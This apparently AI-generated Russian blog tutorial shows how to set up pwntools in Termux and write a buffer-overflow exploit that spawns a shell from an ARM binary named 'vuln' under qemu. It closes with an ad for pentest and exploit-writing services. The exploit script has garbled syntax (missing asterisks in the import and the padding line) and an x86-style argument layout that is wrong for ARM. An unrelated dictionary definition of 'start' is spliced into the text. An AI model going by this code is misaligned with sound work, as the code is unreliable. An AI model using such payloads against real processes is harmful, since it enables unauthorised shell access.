We detected you are likely not from a Russian-speaking region. Would you like to switch to the international version of the site?

  Назад к списку статей

Разработка и тестирование эксплойтов на ARM‑устройствах в Termux с использованием pwntools

Termux – это мощный терминал для Android, который позволяет превратить ваш смартфон в полноценную Linux‑среду. Благодаря поддержке ARM‑архитектуры, в нем можно разрабатывать и тестировать эксплойты, ориентированные на широкую аудиторию мобильных устройств. В этой статье мы покажем, как установить pwntools и написать первый эксплойт, используя возможности start разработки прямо в Termux. По определению, start – «to begin doing something» ([cambridge.org](https://dictionary.cambridge.org/us/dictionary/english/start), [oxfordlearnersdictionaries.com](https://oxfordlearnersdictionaries.com/definition/english/start_1), [dictionary.com](https://www.dictionary.com/browse/start)).

Установка Termux и базовая настройка среды

Сначала установите Termux из Google Play или F-Droid, запустите его и выполните обновление пакетов:

apt update && apt upgrade -y

Установим необходимые инструменты:

apt install -y python git clang make gcc gdb qemu-user-static

Создадим виртуальное окружение Python, чтобы изолировать зависимости:

python -m venv ~/pwntools-env
source ~/pwntools-env/bin/activate

Установка pwntools в Termux

Pwntools – это библиотека Python, специально разработанная для разработки эксплойтов. Установим её через pip:

pip install --upgrade pip
pip install pwntools

Проверьте, что установка прошла успешно:

python -c "import pwn; print(pwn.version)"

Разработка эксплойта: пример на ARM

Рассмотрим простой пример эксплойта, который использует уязвимость переполнения буфера в ARM‑бинарнике vuln. Предположим, что у вас уже есть скомпилированный ELF‑файл для ARM.

from pwn import 

# Указываем архитектуру ARM
context.arch = 'arm'

# Путь к уязвимому бинарнику
elf = ELF('./vuln')

# Адрес функции system и строки "/bin/sh" (примерные значения)
system_addr = 0x000104f0
binsh_addr = 0x00010824

# Формируем payload: буфер + адрес system + адрес возврата + "/bin/sh"
payload = b'A'  112  # размер буфера, найденный через cyclic
payload += p32(system_addr)
payload += p32(0xdeadbeef)  # возврат после system (можно заполнить)
payload += p32(binsh_addr)

# Запускаем процесс в эмуляторе qemu-arm
p = process(['qemu-arm', './vuln'])

p.sendline(payload)

p.interactive()

В этом коде мы start‑уем процесс через process из pwntools, передавая ему эмуляцию ARM‑архитектуры.

Тестирование эксплойта в эмуляторе и на реальном устройстве

Для быстрой проверки используем qemu-arm – эмулятор, который уже установлен в Termux. Запустите скрипт, как показано выше, и убедитесь, что получаете интерактивную оболочку.

Для тестирования на реальном устройстве скопируйте бинарник и скрипт в папку /data/data/com.termux/files/home/ и выполните их напрямую:

chmod +x vuln
python exploit.py

Если эксплойт работает, вы получите доступ к шеллу целевого процесса. В случае ошибок проверьте адреса функций с помощью objdump -d vuln или gdb в режиме qemu-arm -g 1234 ./vuln.

Оптимизация и отладка

  • Используйте gdb в связке с pwntools: pwn.debug('./vuln') для интерактивного отладки.
  • Проверьте выравнивание стека (stack alignment) – в ARM важно держать sp кратным 8.
  • Для сложных ROP‑цепочек применяйте ROP‑модуль pwntools: rop = ROP(elf).
  • Не забывайте о системе защиты NX и PIE. При необходимости используйте execstack или отключите ASLR в эмуляторе.

Заключение

Termux в сочетании с pwntools предоставляет полностью автономную платформу для разработки и тестирования эксплойтов на ARM‑устройствах. Вы можете start‑овать процесс разработки прямо на смартфоне, проводить отладку, использовать эмуляцию qemu‑arm и сразу проверять результаты на реальном устройстве.

Если вам требуется глубокий аудит безопасности мобильных приложений, написание кастомных эксплойтов или обучение сотрудников, команда RybinskLab готова помочь. Мы предоставляем услуги по консультациям, проведению пентестов, разработке эксплойтов и обучению специалистов в области мобильной безопасности.

* Текст статьи подготовлен и структурирован с использованием технологий искусственного интеллекта. Проверен экспертом РыбинскЛАБ.

Поделиться знанием:

Нужна профессиональная помощь?

Меня зовут Усачёв Денис Евгеньевич. Я оказываю ИТ-услуги в Рыбинске и Ярославской области: настройка серверов, безопасность, автоматизация бизнеса. Запомните информация развлекательный ознакомительный носит, не нарушайте закон!

Связаться со мной
Поддержать проект